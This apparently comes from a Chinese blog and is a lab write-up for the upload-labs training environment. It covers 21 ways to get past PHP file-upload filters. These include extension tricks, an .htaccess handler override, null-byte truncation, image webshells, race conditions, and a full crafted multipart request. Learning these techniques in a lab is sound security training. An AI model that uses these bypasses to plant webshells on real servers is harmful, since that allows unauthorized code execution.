未分类

upload-labs

没有对后缀名中的’::$DATA’进行过滤。在php+windows的情况下:如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过:

Pass-01

上传图片马,burpsuite抓包修改后缀名为.php

蚁剑连接图片马链接

连接成功

Pass-02

用第一个的方法,发现还是可以直接上传成功,但是这里还有第二种方法。
直接上传php格式的文件,用burp抓包。更改Content-Type这里的值。
上传php文件时,Content-Type的值是application/octet-stream,
上传jpg文件时,Content-Type的值是image/png,直接更改就可以了

Pass-03

黑名单,使用php3,Php,phtml等可绕过

Pass-04

黑名单挺全的, 可以上传htaccess来进行解析
.htaccess文件

<FilesMatch "one.jpg">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到one.jpg文件,则被解析成PHP代码执行
AddHandler php5-script .jpg          #在当前目录下,如果匹配到.gif文件,则被解析成PHP代码执行
</FilesMatch>

直接连接图片马即可解析

Pass-05

查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

过滤了.htaccess, 去除末尾点,转换小写,首尾去空,使用“. .”绕过。

.php.可以不加最后的点访问

Content-Disposition: form-data; name="upload_file"; filename="one.php. ."
Content-Type: image/png

Pass-06

没有转换大小写。windows环境大小写不敏感,直接大写绕过

Content-Disposition: form-data; name="upload_file"; filename="one.PHP"

Pass-07

没过滤空格,直接后缀名加空格绕过

Content-Disposition: form-data; name="upload_file"; filename="one.php "

Pass-08

没过滤末尾点,后缀名加.绕过

Content-Disposition: form-data; name="upload_file"; filename="one.php."

Pass-09

没过滤::$DATA,后缀名加.php::$data绕过。访问时去掉::$data

Content-Disposition: form-data; name="upload_file"; filename="one.php::$data"

Pass-10

同pass05,用”. .”绕过

Pass-11

将黑名单里的后缀名替换为空且只替换一次,用双写绕过

Content-Disposition: form-data; name="upload_file"; filename="one.pphphp"

Pass-12

上传路径可控

发现只允许上传’jpg’,’png’,’gif’格式的文件。但是上传路径是可以控制的,可以使用%00进行截断。%00只能用于php版本低于5.3的。 上传jpg文件。然后去修改地址 ;

Pass-13

路径有过滤, 所以直接指定.php的路径进行上传是不可行的, 考虑00截断

接受值变成了post,她两的差别呢就是get会自行解码,post不会自行解码,需要对%00进行编码, 可以用url编码或者base64编码方式;

Pass-14

文件包含漏洞

制作并上传图片马

copy hacker.jpg /b + one.php /a shell.jpg
http://127.0.0.1/upload-labs-master/include.php?file=upload/6420220328141546.jpg

Pass-15

这题是用getimagesize函数判断文件类型,还是可以图片马绕过,方法同pass14

Pass-16

需要在php.ini开启extension=php_exif.dll,之后同上

Pass-17

二次渲染

imagecreatefromjpeg()函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,图片马失效。
按照原来的方法进行上传,我们可以发现还是可以上传的,但是配合包含漏洞却无法解析,这时我们把上传的图片复制下来用记事本打开,发现我们原来写的php代码没有了,这就是二次渲染把我们里面的php代码删掉了。
绕过方法:
把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞。

Pass-18

条件竞争

第十八关主要是对条件竞争的考察,我们看代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。

利用bp进行,发送到Intruder,clear§

然后一直访问网页,就可以访问到了

Pass-19

本题相较上题多了移动和重命名文件, 可以说是更激烈的条件竞争, 解题方法同上

Pass-20

上传文件时可自定义文件名,move_uploaded_file()函数中有个img_path,并且还是由post参数的save_name控制的,因此可以使用前面的. .进行截断

上传图片马, 之后把保存文件名改为shell.php. .使用. .来进行截断

Content-Disposition: form-data; name="save_name"

upload-19.php. .

Pass-21

审计代码可以发现save_name可以是数组, 这里拆成两部分, 在文件最后面的一个后缀使用jpg, 会自动截断后面的

POST /upload-labs-master/Pass-21/index.php HTTP/1.1
Host: 192.168.200.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1799073601356749423520390181
Content-Length: 603
Origin: http://192.168.200.137
Connection: close
Referer: http://192.168.200.137/upload-labs-master/Pass-21/index.php
Cookie: PHPSESSID=7d395203ec5265dd787886b4aadd8ed7
Upgrade-Insecure-Requests: 1

-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="upload_file"; filename="15.png"
Content-Type: image/png

<?php phpinfo(); ?>
-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="save_name[0]"

upload-20.php
-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------1799073601356749423520390181
Content-Disposition: form-data; name="submit"

??????
-----------------------------1799073601356749423520390181--

留言

您的邮箱地址不会被公开。 必填项已用 * 标注